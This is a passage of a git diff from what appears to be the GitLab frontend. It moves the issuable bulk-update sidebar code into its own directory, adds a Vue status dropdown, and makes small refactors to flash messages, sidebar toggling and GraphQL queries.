-const DISABLED_CONTENT_CLASS = 'disabled-content';
-const SIDEBAR_EXPANDED_CLASS = 'right-sidebar-expanded issuable-bulk-update-sidebar';
-const SIDEBAR_COLLAPSED_CLASS = 'right-sidebar-collapsed issuable-bulk-update-sidebar';
-
-export default class IssuableBulkUpdateSidebar {
- constructor() {
- this.vueIssuablesListFeature = property(['gon', 'features', 'vueIssuablesList'])(window);
-
- this.initDomElements();
- this.bindEvents();
- this.initDropdowns();
- this.setupBulkUpdateActions();
- }
-
- initDomElements() {
- this.$page = $('.layout-page');
- this.$sidebar = $('.right-sidebar');
- this.$sidebarInnerContainer = this.$sidebar.find('.issuable-sidebar');
- this.$bulkEditCancelBtn = $('.js-bulk-update-menu-hide');
- this.$bulkEditSubmitBtn = $('.update-selected-issues');
- this.$bulkUpdateEnableBtn = $('.js-bulk-update-toggle');
- this.$otherFilters = $('.issues-other-filters');
- this.$checkAllContainer = $('.check-all-holder');
- this.$issueChecks = $('.issue-check');
- this.$issuesList = $('.issuable-list input[type="checkbox"]');
- this.$issuableIdsInput = $('#update_issuable_ids');
- }
-
- bindEvents() {
- this.$bulkUpdateEnableBtn.on('click', (e) => this.toggleBulkEdit(e, true));
- this.$bulkEditCancelBtn.on('click', (e) => this.toggleBulkEdit(e, false));
- this.$checkAllContainer.on('click', (e) => this.selectAll(e));
- this.$issuesList.on('change', () => this.updateFormState());
- this.$bulkEditSubmitBtn.on('click', () => this.prepForSubmit());
- this.$checkAllContainer.on('click', () => this.updateFormState());
-
- // The event hub connects this bulk update logic with `issues_list_app.vue`.
- // We can remove it once we've refactored the issues list page bulk edit sidebar to Vue.
- // https://gitlab.com/gitlab-org/gitlab/-/issues/325874
- issueableEventHub.$on('issuables:enableBulkEdit', () => this.toggleBulkEdit(null, true));
- issueableEventHub.$on('issuables:updateBulkEdit', () => this.updateFormState());
- }
-
- initDropdowns() {
- new LabelsSelect();
- new MilestoneSelect();
- issueStatusSelect();
- subscriptionSelect();
-
- if (IS_EE) {
- import('ee/vue_shared/components/sidebar/health_status_select/health_status_bundle')
- .then(({ default: HealthStatusSelect }) => {
- HealthStatusSelect();
- })
- .catch(() => {});
- }
-
- if (IS_EE) {
- import('ee/vue_shared/components/sidebar/epics_select/epics_select_bundle')
- .then(({ default: EpicSelect }) => {
- EpicSelect();
- })
- .catch(() => {});
- }
-
- if (IS_EE) {
- import('ee/vue_shared/components/sidebar/iterations_dropdown_bundle')
- .then(({ default: iterationsDropdown }) => {
- iterationsDropdown();
- })
- .catch((e) => {
- throw e;
- });
- }
- }
-
- setupBulkUpdateActions() {
- IssuableBulkUpdateActions.setOriginalDropdownData();
- }
-
- updateFormState() {
- const noCheckedIssues = !$('.issuable-list input[type="checkbox"]:checked').length;
-
- this.toggleSubmitButtonDisabled(noCheckedIssues);
- this.updateSelectedIssuableIds();
-
- IssuableBulkUpdateActions.setOriginalDropdownData();
- }
-
- prepForSubmit() {
- // if submit button is disabled, submission is blocked. This ensures we disable after
- // form submission is carried out
- setTimeout(() => this.$bulkEditSubmitBtn.disable());
- this.updateSelectedIssuableIds();
- }
-
- toggleBulkEdit(e, enable) {
- e?.preventDefault();
-
- issueableEventHub.$emit('issuables:toggleBulkEdit', enable);
-
- this.toggleSidebarDisplay(enable);
- this.toggleBulkEditButtonDisabled(enable);
- this.toggleOtherFiltersDisabled(enable);
- this.toggleCheckboxDisplay(enable);
- }
-
- updateSelectedIssuableIds() {
- this.$issuableIdsInput.val(IssuableBulkUpdateSidebar.getCheckedIssueIds());
- }
-
- selectAll() {
- const checkAllButtonState = this.$checkAllContainer.find('input').prop('checked');
-
- this.$issuesList.prop('checked', checkAllButtonState);
- }
-
- toggleSidebarDisplay(show) {
- this.$page.toggleClass(SIDEBAR_EXPANDED_CLASS, show);
- this.$page.toggleClass(SIDEBAR_COLLAPSED_CLASS, !show);
- this.$sidebarInnerContainer.toggleClass(HIDDEN_CLASS, !show);
- this.$sidebar.toggleClass(SIDEBAR_EXPANDED_CLASS, show);
- this.$sidebar.toggleClass(SIDEBAR_COLLAPSED_CLASS, !show);
- }
-
- toggleBulkEditButtonDisabled(disable) {
- if (disable) {
- this.$bulkUpdateEnableBtn.disable();
- } else {
- this.$bulkUpdateEnableBtn.enable();
- }
- }
-
- toggleCheckboxDisplay(show) {
- this.$checkAllContainer.toggleClass(HIDDEN_CLASS, !show || this.vueIssuablesListFeature);
- this.$issueChecks.toggleClass(HIDDEN_CLASS, !show);
- }
-
- toggleOtherFiltersDisabled(disable) {
- this.$otherFilters.toggleClass(DISABLED_CONTENT_CLASS, disable);
- }
-
- toggleSubmitButtonDisabled(disable) {
- if (disable) {
- this.$bulkEditSubmitBtn.disable();
- } else {
- this.$bulkEditSubmitBtn.enable();
- }
- }
-
- static getCheckedIssueIds() {
- const $checkedIssues = $('.issuable-list input[type="checkbox"]:checked');
-
- if ($checkedIssues.length > 0) {
- return $.map($checkedIssues, (value) => $(value).data('id'));
- }
-
- return [];
- }
-}
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar/components/status_select.vue b/app/assets/javascripts/issuable_bulk_update_sidebar/components/status_select.vue
new file mode 100644
index 00000000000..9509399e91d
--- /dev/null
+++ b/app/assets/javascripts/issuable_bulk_update_sidebar/components/status_select.vue
@@ -0,0 +1,58 @@
+<script>
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { __ } from '~/locale';
+import { ISSUE_STATUS_SELECT_OPTIONS } from '../constants';
+
+export default {
+ name: 'StatusSelect',
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ },
+ data() {
+ return {
+ status: null,
+ };
+ },
+ computed: {
+ dropdownText() {
+ return this.status?.text ?? this.$options.i18n.defaultDropdownText;
+ },
+ selectedValue() {
+ return this.status?.value;
+ },
+ },
+ methods: {
+ onDropdownItemClick(statusOption) {
+ // clear status if the currently checked status is clicked again
+ if (this.status?.value === statusOption.value) {
+ this.status = null;
+ } else {
+ this.status = statusOption;
+ }
+ },
+ },
+ i18n: {
+ dropdownTitle: __('Change status'),
+ defaultDropdownText: __('Select status'),
+ },
+ ISSUE_STATUS_SELECT_OPTIONS,
+};
+</script>
+<template>
+ <div>
+ <input type="hidden" name="update[state_event]" :value="selectedValue" />
+ <gl-dropdown :text="dropdownText" :title="$options.i18n.dropdownTitle" class="gl-w-full">
+ <gl-dropdown-item
+ v-for="statusOption in $options.ISSUE_STATUS_SELECT_OPTIONS"
+ :key="statusOption.value"
+ :is-checked="selectedValue === statusOption.value"
+ is-check-item
+ :title="statusOption.text"
+ @click="onDropdownItemClick(statusOption)"
+ >
+ {{ statusOption.text }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar/constants.js b/app/assets/javascripts/issuable_bulk_update_sidebar/constants.js
new file mode 100644
index 00000000000..ad15b25f9cf
--- /dev/null
+++ b/app/assets/javascripts/issuable_bulk_update_sidebar/constants.js
@@ -0,0 +1,17 @@
+import { __ } from '~/locale';
+
+export const ISSUE_STATUS_MODIFIERS = {
+ REOPEN: 'reopen',
+ CLOSE: 'close',
+};
+
+export const ISSUE_STATUS_SELECT_OPTIONS = [
+ {
+ value: ISSUE_STATUS_MODIFIERS.REOPEN,
+ text: __('Open'),
+ },
+ {
+ value: ISSUE_STATUS_MODIFIERS.CLOSE,
+ text: __('Closed'),
+ },
+];
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar/init_issue_status_select.js b/app/assets/javascripts/issuable_bulk_update_sidebar/init_issue_status_select.js
new file mode 100644
index 00000000000..43179a86d70
--- /dev/null
+++ b/app/assets/javascripts/issuable_bulk_update_sidebar/init_issue_status_select.js
@@ -0,0 +1,17 @@
+import Vue from 'vue';
+import StatusSelect from './components/status_select.vue';
+
+export default function initIssueStatusSelect() {
+ const el = document.querySelector('.js-issue-status');
+
+ if (!el) {
+ return null;
+ }
+
+ return new Vue({
+ el,
+ render(h) {
+ return h(StatusSelect);
+ },
+ });
+}
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_actions.js b/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_actions.js
new file mode 100644
index 00000000000..463e0e5837e
--- /dev/null
+++ b/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_actions.js
@@ -0,0 +1,126 @@
+import $ from 'jquery';
+import { difference, intersection, union } from 'lodash';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import { __ } from '~/locale';
+
+export default {
+ init({ form, issues, prefixId } = {}) {
+ this.prefixId = prefixId || 'issue_';
+ this.form = form || this.getElement('.bulk-update');
+ this.$labelDropdown = this.form.find('.js-label-select');
+ this.issues = issues || this.getElement('.issues-list .issue');
+ this.willUpdateLabels = false;
+ this.bindEvents();
+ },
+
+ bindEvents() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
+ return this.form.off('submit').on('submit', this.onFormSubmit.bind(this));
+ },
+
+ onFormSubmit(e) {
+ e.preventDefault();
+ return this.submit();
+ },
+
+ submit() {
+ axios[this.form.attr('method')](this.form.attr('action'), this.getFormDataAsObject())
+ .then(() => window.location.reload())
+ .catch(() => this.onFormSubmitFailure());
+ },
+
+ onFormSubmitFailure() {
+ this.form.find('[type="submit"]').enable();
+ return createFlash({
+ message: __('Issue update failed'),
+ });
+ },
+
+ /**
+ * Simple form serialization, it will return just what we need
+ * Returns key/value pairs from form data
+ */
+
+ getFormDataAsObject() {
+ const formData = {
+ update: {
+ state_event: this.form.find('input[name="update[state_event]"]').val(),
+ assignee_ids: [this.form.find('input[name="update[assignee_ids][]"]').val()],
+ milestone_id: this.form.find('input[name="update[milestone_id]"]').val(),
+ issuable_ids: this.form.find('input[name="update[issuable_ids]"]').val(),
+ subscription_event: this.form.find('input[name="update[subscription_event]"]').val(),
+ health_status: this.form.find('input[name="update[health_status]"]').val(),
+ epic_id: this.form.find('input[name="update[epic_id]"]').val(),
+ sprint_id: this.form.find('input[name="update[iteration_id]"]').val(),
+ add_label_ids: [],
+ remove_label_ids: [],
+ },
+ };
+ if (this.willUpdateLabels) {
+ formData.update.add_label_ids = this.$labelDropdown.data('user-checked');
+ formData.update.remove_label_ids = this.$labelDropdown.data('user-unchecked');
+ }
+ return formData;
+ },
+
+ setOriginalDropdownData() {
+ const $labelSelect = $('.bulk-update .js-label-select');
+ const userCheckedIds = $labelSelect.data('user-checked') || [];
+ const userUncheckedIds = $labelSelect.data('user-unchecked') || [];
+
+ // Common labels plus user checked labels minus user unchecked labels
+ const checkedIdsToShow = difference(
+ union(this.getOriginalCommonIds(), userCheckedIds),
+ userUncheckedIds,
+ );
+
+ // Indeterminate labels minus user checked labels minus user unchecked labels
+ const indeterminateIdsToShow = difference(
+ this.getOriginalIndeterminateIds(),
+ userCheckedIds,
+ userUncheckedIds,
+ );
+
+ $labelSelect.data('marked', checkedIdsToShow);
+ $labelSelect.data('indeterminate', indeterminateIdsToShow);
+ },
+
+ // From issuable's initial bulk selection
+ getOriginalCommonIds() {
+ const labelIds = [];
+ this.getElement('.issuable-list input[type="checkbox"]:checked').each((i, el) => {
+ labelIds.push(this.getElement(`#${this.prefixId}${el.dataset.id}`).data('labels'));
+ });
+ return intersection.apply(this, labelIds);
+ },
+
+ // From issuable's initial bulk selection
+ getOriginalIndeterminateIds() {
+ const uniqueIds = [];
+ const labelIds = [];
+ let issuableLabels = [];
+
+ // Collect unique label IDs for all checked issues
+ this.getElement('.issuable-list input[type="checkbox"]:checked').each((i, el) => {
+ issuableLabels = this.getElement(`#${this.prefixId}${el.dataset.id}`).data('labels');
+ issuableLabels.forEach((labelId) => {
+ // Store unique IDs
+ if (uniqueIds.indexOf(labelId) === -1) {
+ uniqueIds.push(labelId);
+ }
+ });
+ // Store array of IDs per issuable
+ labelIds.push(issuableLabels);
+ });
+ // Add uniqueIds to add it as argument for _.intersection
+ labelIds.unshift(uniqueIds);
+ // Return IDs that are present but not in all selected issueables
+ return uniqueIds.filter((x) => !intersection.apply(this, labelIds).includes(x));
+ },
+
+ getElement(selector) {
+ this.scopeEl = this.scopeEl || $('.content');
+ return this.scopeEl.find(selector);
+ },
+};
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_sidebar.js b/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_sidebar.js
new file mode 100644
index 00000000000..a9d4548f8cf
--- /dev/null
+++ b/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_sidebar.js
@@ -0,0 +1,173 @@
+/* eslint-disable class-methods-use-this, no-new */
+
+import $ from 'jquery';
+import { property } from 'lodash';
+
+import issueableEventHub from '~/issues_list/eventhub';
+import LabelsSelect from '~/labels_select';
+import MilestoneSelect from '~/milestone_select';
+import initIssueStatusSelect from './init_issue_status_select';
+import IssuableBulkUpdateActions from './issuable_bulk_update_actions';
+import subscriptionSelect from './subscription_select';
+
+const HIDDEN_CLASS = 'hidden';
+const DISABLED_CONTENT_CLASS = 'disabled-content';
+const SIDEBAR_EXPANDED_CLASS = 'right-sidebar-expanded issuable-bulk-update-sidebar';
+const SIDEBAR_COLLAPSED_CLASS = 'right-sidebar-collapsed issuable-bulk-update-sidebar';
+
+export default class IssuableBulkUpdateSidebar {
+ constructor() {
+ this.vueIssuablesListFeature = property(['gon', 'features', 'vueIssuablesList'])(window);
+
+ this.initDomElements();
+ this.bindEvents();
+ this.initDropdowns();
+ this.setupBulkUpdateActions();
+ }
+
+ initDomElements() {
+ this.$page = $('.layout-page');
+ this.$sidebar = $('.right-sidebar');
+ this.$sidebarInnerContainer = this.$sidebar.find('.issuable-sidebar');
+ this.$bulkEditCancelBtn = $('.js-bulk-update-menu-hide');
+ this.$bulkEditSubmitBtn = $('.js-update-selected-issues');
+ this.$bulkUpdateEnableBtn = $('.js-bulk-update-toggle');
+ this.$otherFilters = $('.issues-other-filters');
+ this.$checkAllContainer = $('.check-all-holder');
+ this.$issueChecks = $('.issue-check');
+ this.$issuesList = $('.issuable-list input[type="checkbox"]');
+ this.$issuableIdsInput = $('#update_issuable_ids');
+ }
+
+ bindEvents() {
+ this.$bulkUpdateEnableBtn.on('click', (e) => this.toggleBulkEdit(e, true));
+ this.$bulkEditCancelBtn.on('click', (e) => this.toggleBulkEdit(e, false));
+ this.$checkAllContainer.on('click', (e) => this.selectAll(e));
+ this.$issuesList.on('change', () => this.updateFormState());
+ this.$bulkEditSubmitBtn.on('click', () => this.prepForSubmit());
+ this.$checkAllContainer.on('click', () => this.updateFormState());
+
+ // The event hub connects this bulk update logic with `issues_list_app.vue`.
+ // We can remove it once we've refactored the issues list page bulk edit sidebar to Vue.
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/325874
+ issueableEventHub.$on('issuables:enableBulkEdit', () => this.toggleBulkEdit(null, true));
+ issueableEventHub.$on('issuables:updateBulkEdit', () => this.updateFormState());
+ }
+
+ initDropdowns() {
+ new LabelsSelect();
+ new MilestoneSelect();
+ initIssueStatusSelect();
+ subscriptionSelect();
+
+ if (IS_EE) {
+ import('ee/vue_shared/components/sidebar/health_status_select/health_status_bundle')
+ .then(({ default: HealthStatusSelect }) => {
+ HealthStatusSelect();
+ })
+ .catch(() => {});
+ }
+
+ if (IS_EE) {
+ import('ee/vue_shared/components/sidebar/epics_select/epics_select_bundle')
+ .then(({ default: EpicSelect }) => {
+ EpicSelect();
+ })
+ .catch(() => {});
+ }
+
+ if (IS_EE) {
+ import('ee/vue_shared/components/sidebar/iterations_dropdown_bundle')
+ .then(({ default: iterationsDropdown }) => {
+ iterationsDropdown();
+ })
+ .catch((e) => {
+ throw e;
+ });
+ }
+ }
+
+ setupBulkUpdateActions() {
+ IssuableBulkUpdateActions.setOriginalDropdownData();
+ }
+
+ updateFormState() {
+ const noCheckedIssues = !$('.issuable-list input[type="checkbox"]:checked').length;
+
+ this.toggleSubmitButtonDisabled(noCheckedIssues);
+ this.updateSelectedIssuableIds();
+
+ IssuableBulkUpdateActions.setOriginalDropdownData();
+ }
+
+ prepForSubmit() {
+ // if submit button is disabled, submission is blocked. This ensures we disable after
+ // form submission is carried out
+ setTimeout(() => this.$bulkEditSubmitBtn.disable());
+ this.updateSelectedIssuableIds();
+ }
+
+ toggleBulkEdit(e, enable) {
+ e?.preventDefault();
+
+ issueableEventHub.$emit('issuables:toggleBulkEdit', enable);
+
+ this.toggleSidebarDisplay(enable);
+ this.toggleBulkEditButtonDisabled(enable);
+ this.toggleOtherFiltersDisabled(enable);
+ this.toggleCheckboxDisplay(enable);
+ }
+
+ updateSelectedIssuableIds() {
+ this.$issuableIdsInput.val(IssuableBulkUpdateSidebar.getCheckedIssueIds());
+ }
+
+ selectAll() {
+ const checkAllButtonState = this.$checkAllContainer.find('input').prop('checked');
+
+ this.$issuesList.prop('checked', checkAllButtonState);
+ }
+
+ toggleSidebarDisplay(show) {
+ this.$page.toggleClass(SIDEBAR_EXPANDED_CLASS, show);
+ this.$page.toggleClass(SIDEBAR_COLLAPSED_CLASS, !show);
+ this.$sidebarInnerContainer.toggleClass(HIDDEN_CLASS, !show);
+ this.$sidebar.toggleClass(SIDEBAR_EXPANDED_CLASS, show);
+ this.$sidebar.toggleClass(SIDEBAR_COLLAPSED_CLASS, !show);
+ }
+
+ toggleBulkEditButtonDisabled(disable) {
+ if (disable) {
+ this.$bulkUpdateEnableBtn.disable();
+ } else {
+ this.$bulkUpdateEnableBtn.enable();
+ }
+ }
+
+ toggleCheckboxDisplay(show) {
+ this.$checkAllContainer.toggleClass(HIDDEN_CLASS, !show || this.vueIssuablesListFeature);
+ this.$issueChecks.toggleClass(HIDDEN_CLASS, !show);
+ }
+
+ toggleOtherFiltersDisabled(disable) {
+ this.$otherFilters.toggleClass(DISABLED_CONTENT_CLASS, disable);
+ }
+
+ toggleSubmitButtonDisabled(disable) {
+ if (disable) {
+ this.$bulkEditSubmitBtn.disable();
+ } else {
+ this.$bulkEditSubmitBtn.enable();
+ }
+ }
+
+ static getCheckedIssueIds() {
+ const $checkedIssues = $('.issuable-list input[type="checkbox"]:checked');
+
+ if ($checkedIssues.length > 0) {
+ return $.map($checkedIssues, (value) => $(value).data('id'));
+ }
+
+ return [];
+ }
+}
diff --git a/app/assets/javascripts/issuable_init_bulk_update_sidebar.js b/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar.js
index 179c2b83c6c..179c2b83c6c 100644
--- a/app/assets/javascripts/issuable_init_bulk_update_sidebar.js
+++ b/app/assets/javascripts/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar.js
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar/subscription_select.js b/app/assets/javascripts/issuable_bulk_update_sidebar/subscription_select.js
new file mode 100644
index 00000000000..b12ac776b4f
--- /dev/null
+++ b/app/assets/javascripts/issuable_bulk_update_sidebar/subscription_select.js
@@ -0,0 +1,28 @@
+import $ from 'jquery';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
+import { __ } from '~/locale';
+
+export default function subscriptionSelect() {
+ $('.js-subscription-event').each((i, element) => {
+ const fieldName = $(element).data('fieldName');
+
+ return initDeprecatedJQueryDropdown($(element), {
+ selectable: true,
+ fieldName,
+ toggleLabel(selected, el, instance) {
+ let label = __('Subscription');
+ const $item = instance.dropdown.find('.is-active');
+ if ($item.length) {
+ label = $item.text();
+ }
+ return label;
+ },
+ clicked(options) {
+ return options.e.preventDefault();
+ },
+ id(obj, el) {
+ return $(el).data('id');
+ },
+ });
+ });
+}
diff --git a/app/assets/javascripts/issuable_context.js b/app/assets/javascripts/issuable_context.js
index a87d4f077cc..51b5237a339 100644
--- a/app/assets/javascripts/issuable_context.js
+++ b/app/assets/javascripts/issuable_context.js
@@ -9,19 +9,23 @@ export default class IssuableContext {
this.userSelect = new UsersSelect(currentUser);
this.reviewersSelect = new UsersSelect(currentUser, '.js-reviewer-search');
- import(/* webpackChunkName: 'select2' */ 'select2/select2')
- .then(() => {
- // eslint-disable-next-line promise/no-nesting
- loadCSSFile(gon.select2_css_path)
- .then(() => {
- $('select.select2').select2({
- width: 'resolve',
- dropdownAutoWidth: true,
- });
- })
- .catch(() => {});
- })
- .catch(() => {});
+ const $select2 = $('select.select2');
+
+ if ($select2.length) {
+ import(/* webpackChunkName: 'select2' */ 'select2/select2')
+ .then(() => {
+ // eslint-disable-next-line promise/no-nesting
+ loadCSSFile(gon.select2_css_path)
+ .then(() => {
+ $select2.select2({
+ width: 'resolve',
+ dropdownAutoWidth: true,
+ });
+ })
+ .catch(() => {});
+ })
+ .catch(() => {});
+ }
$('.issuable-sidebar .inline-update').on('change', 'select', function onClickSelect() {
return $(this).submit();
diff --git a/app/assets/javascripts/issuable_create/components/issuable_form.vue b/app/assets/javascripts/issuable_create/components/issuable_form.vue
index 3cbd5620063..c216a05bdb0 100644
--- a/app/assets/javascripts/issuable_create/components/issuable_form.vue
+++ b/app/assets/javascripts/issuable_create/components/issuable_form.vue
@@ -72,16 +72,17 @@ export default {
:show-suggest-popover="true"
:textarea-value="issuableDescription"
>
- <textarea
- id="issuable-description"
- ref="textarea"
- slot="textarea"
- v-model="issuableDescription"
- dir="auto"
- class="note-textarea qa-issuable-form-description rspec-issuable-form-description js-gfm-input js-autosize markdown-area"
- :aria-label="__('Description')"
- :placeholder="__('Write a comment or drag your files here…')"
- ></textarea>
+ <template #textarea>
+ <textarea
+ id="issuable-description"
+ ref="textarea"
+ v-model="issuableDescription"
+ dir="auto"
+ class="note-textarea qa-issuable-form-description rspec-issuable-form-description js-gfm-input js-autosize markdown-area"
+ :aria-label="__('Description')"
+ :placeholder="__('Write a comment or drag your files here…')"
+ ></textarea>
+ </template>
</markdown-field>
</div>
</div>
diff --git a/app/assets/javascripts/issuable_index.js b/app/assets/javascripts/issuable_index.js
index cdeee68b762..5a57da292a0 100644
--- a/app/assets/javascripts/issuable_index.js
+++ b/app/assets/javascripts/issuable_index.js
@@ -1,4 +1,4 @@
-import issuableInitBulkUpdateSidebar from './issuable_init_bulk_update_sidebar';
+import issuableInitBulkUpdateSidebar from '~/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar';
export default class IssuableIndex {
constructor(pagePrefix = 'issuable_') {
diff --git a/app/assets/javascripts/issuable_list/components/issuable_list_root.vue b/app/assets/javascripts/issuable_list/components/issuable_list_root.vue
index a19c76cfe3f..87066a0a0b6 100644
--- a/app/assets/javascripts/issuable_list/components/issuable_list_root.vue
+++ b/app/assets/javascripts/issuable_list/components/issuable_list_root.vue
@@ -134,7 +134,7 @@ export default {
labelFilterParam: {
type: String,
required: false,
- default: null,
+ default: undefined,
},
isManualOrdering: {
type: Boolean,
diff --git a/app/assets/javascripts/issuable_show/components/issuable_show_root.vue b/app/assets/javascripts/issuable_show/components/issuable_show_root.vue
index ca057094868..011db52cbe3 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_show_root.vue
+++ b/app/assets/javascripts/issuable_show/components/issuable_show_root.vue
@@ -153,9 +153,9 @@ export default {
</template>
</issuable-discussion>
- <issuable-sidebar @sidebar-toggle="$emit('sidebar-toggle', $event)">
- <template #right-sidebar-items="sidebarProps">
- <slot name="right-sidebar-items" v-bind="sidebarProps"></slot>
+ <issuable-sidebar>
+ <template #right-sidebar-items="{ sidebarExpanded, toggleSidebar }">
+ <slot name="right-sidebar-items" v-bind="{ sidebarExpanded, toggleSidebar }"></slot>
</template>
</issuable-sidebar>
</div>
diff --git a/app/assets/javascripts/issuable_sidebar/components/issuable_sidebar_root.vue b/app/assets/javascripts/issuable_sidebar/components/issuable_sidebar_root.vue
index 8a159139af0..99dcccd12ed 100644
--- a/app/assets/javascripts/issuable_sidebar/components/issuable_sidebar_root.vue
+++ b/app/assets/javascripts/issuable_sidebar/components/issuable_sidebar_root.vue
@@ -2,15 +2,15 @@
import { GlIcon } from '@gitlab/ui';
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import Cookies from 'js-cookie';
-
import { parseBoolean } from '~/lib/utils/common_utils';
+import { USER_COLLAPSED_GUTTER_COOKIE } from '../constants';
export default {
components: {
GlIcon,
},
data() {
- const userExpanded = !parseBoolean(Cookies.get('collapsed_gutter'));
+ const userExpanded = !parseBoolean(Cookies.get(USER_COLLAPSED_GUTTER_COOKIE));
// We're deliberately keeping two different props for sidebar status;
// 1. userExpanded reflects value based on cookie `collapsed_gutter`.
@@ -20,13 +20,6 @@ export default {
isExpanded: userExpanded ? bp.isDesktop() : userExpanded,
};
},
- watch: {
- isExpanded(expanded) {
- this.$emit('sidebar-toggle', {
- expanded,
- });
- },
- },
mounted() {
window.addEventListener('resize', this.handleWindowResize);
this.updatePageContainerClass();
@@ -49,11 +42,11 @@ export default {
this.updatePageContainerClass();
}
},
- handleToggleSidebarClick() {
+ toggleSidebar() {
this.isExpanded = !this.isExpanded;
this.userExpanded = this.isExpanded;
- Cookies.set('collapsed_gutter', !this.userExpanded);
+ Cookies.set(USER_COLLAPSED_GUTTER_COOKIE, !this.userExpanded);
this.updatePageContainerClass();
},
},
@@ -68,8 +61,9 @@ export default {
>
<button
class="toggle-right-sidebar-button js-toggle-right-sidebar-button w-100 gl-text-decoration-none! gl-display-flex gl-outline-0!"
+ data-testid="toggle-right-sidebar-button"
:title="__('Toggle sidebar')"
- @click="handleToggleSidebarClick"
+ @click="toggleSidebar"
>
<span v-if="isExpanded" class="collapse-text gl-flex-grow-1 gl-text-left">{{
__('Collapse sidebar')
@@ -83,7 +77,10 @@ export default {
/>
</button>
<div data-testid="sidebar-items" class="issuable-sidebar">
- <slot name="right-sidebar-items" v-bind="{ sidebarExpanded: isExpanded }"></slot>
+ <slot
+ name="right-sidebar-items"
+ v-bind="{ sidebarExpanded: isExpanded, toggleSidebar }"
+ ></slot>
</div>
</aside>
</template>
diff --git a/app/assets/javascripts/issuable_sidebar/constants.js b/app/assets/javascripts/issuable_sidebar/constants.js
new file mode 100644
index 00000000000..4f4b6341a1c
--- /dev/null
+++ b/app/assets/javascripts/issuable_sidebar/constants.js
@@ -0,0 +1 @@
+export const USER_COLLAPSED_GUTTER_COOKIE = 'collapsed_gutter';
diff --git a/app/assets/javascripts/issue.js b/app/assets/javascripts/issue.js
index f6eff8133a7..1e053d7daaa 100644
--- a/app/assets/javascripts/issue.js
+++ b/app/assets/javascripts/issue.js
@@ -1,7 +1,7 @@
import $ from 'jquery';
import { joinPaths } from '~/lib/utils/url_utility';
import CreateMergeRequestDropdown from './create_merge_request_dropdown';
-import { deprecatedCreateFlash as flash } from './flash';
+import createFlash from './flash';
import { EVENT_ISSUABLE_VUE_APP_CHANGE } from './issuable/constants';
import axios from './lib/utils/axios_utils';
import { addDelimiter } from './lib/utils/text_utility';
@@ -68,7 +68,9 @@ export default class Issue {
this.createMergeRequestDropdown.checkAbilityToCreateBranch();
}
} else {
- flash(issueFailMessage);
+ createFlash({
+ message: issueFailMessage,
+ });
}
}
@@ -102,6 +104,10 @@ export default class Issue {
$container.html(data.html);
}
})
- .catch(() => flash(__('Failed to load related branches')));
+ .catch(() =>
+ createFlash({
+ message: __('Failed to load related branches'),
+ }),
+ );
}
}
diff --git a/app/assets/javascripts/issue_show/components/incidents/graphql/queries/get_alert.graphql b/app/assets/javascripts/issue_show/components/incidents/graphql/queries/get_alert.graphql
index bb637dea033..938b90b3f7c 100644
--- a/app/assets/javascripts/issue_show/components/incidents/graphql/queries/get_alert.graphql
+++ b/app/assets/javascripts/issue_show/components/incidents/graphql/queries/get_alert.graphql
@@ -1,6 +1,7 @@
query getAlert($iid: String!, $fullPath: ID!) {
project(fullPath: $fullPath) {
issue(iid: $iid) {
+ id
alertManagementAlert {
iid
title
diff --git a/app/assets/javascripts/issue_show/queries/update_issue.mutation.graphql b/app/assets/javascripts/issue_show/queries/update_issue.mutation.graphql
index 9c28fdded21..ec8d8f32d8b 100644
--- a/app/assets/javascripts/issue_show/queries/update_issue.mutation.graphql
+++ b/app/assets/javascripts/issue_show/queries/update_issue.mutation.graphql
@@ -1,5 +1,9 @@
mutation updateIssue($input: UpdateIssueInput!) {
updateIssue(input: $input) {
+ issuable: issue {
+ id
+ state
+ }
errors
}
}
diff --git a/app/assets/javascripts/issue_show/services/index.js b/app/assets/javascripts/issue_show/services/index.js
index 08b04ebfdaf..b1deeaae0fc 100644
--- a/app/assets/javascripts/issue_show/services/index.js
+++ b/app/assets/javascripts/issue_show/services/index.js
@@ -1,11 +1,9 @@
-import { registerCaptchaModalInterceptor } from '~/captcha/captcha_modal_axios_interceptor';
import axios from '../../lib/utils/axios_utils';
export default class Service {
constructor(endpoint) {
this.endpoint = `${endpoint}.json`;
this.realtimeEndpoint = `${endpoint}/realtime_changes`;
- registerCaptchaModalInterceptor(axios);
}
getData() {
diff --git a/app/assets/javascripts/issue_status_select.js b/app/assets/javascripts/issue_status_select.js
deleted file mode 100644
index 2ede0837930..00000000000
--- a/app/assets/javascripts/issue_status_select.js
+++ /dev/null
@@ -1,27 +0,0 @@
-import $ from 'jquery';
-import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
-import { __ } from './locale';
-
-export default function issueStatusSelect() {
- $('.js-issue-status').each((i, el) => {
- const fieldName = $(el).data('fieldName');
- initDeprecatedJQueryDropdown($(el), {
- selectable: true,
- fieldName,
- toggleLabel(selected, element, instance) {
- let label = __('Author');
- const $item = instance.dropdown.find('.is-active');
- if ($item.length) {
- label = $item.text();
- }
- return label;
- },
- clicked(options) {
- return options.e.preventDefault();
- },
- id(obj, element) {
- return $(element).data('id');
- },
- });
- });
-}
diff --git a/app/assets/javascripts/issues_list/components/issuables_list_app.vue b/app/assets/javascripts/issues_list/components/issuables_list_app.vue
index 51cad662ebf..b13a389b963 100644
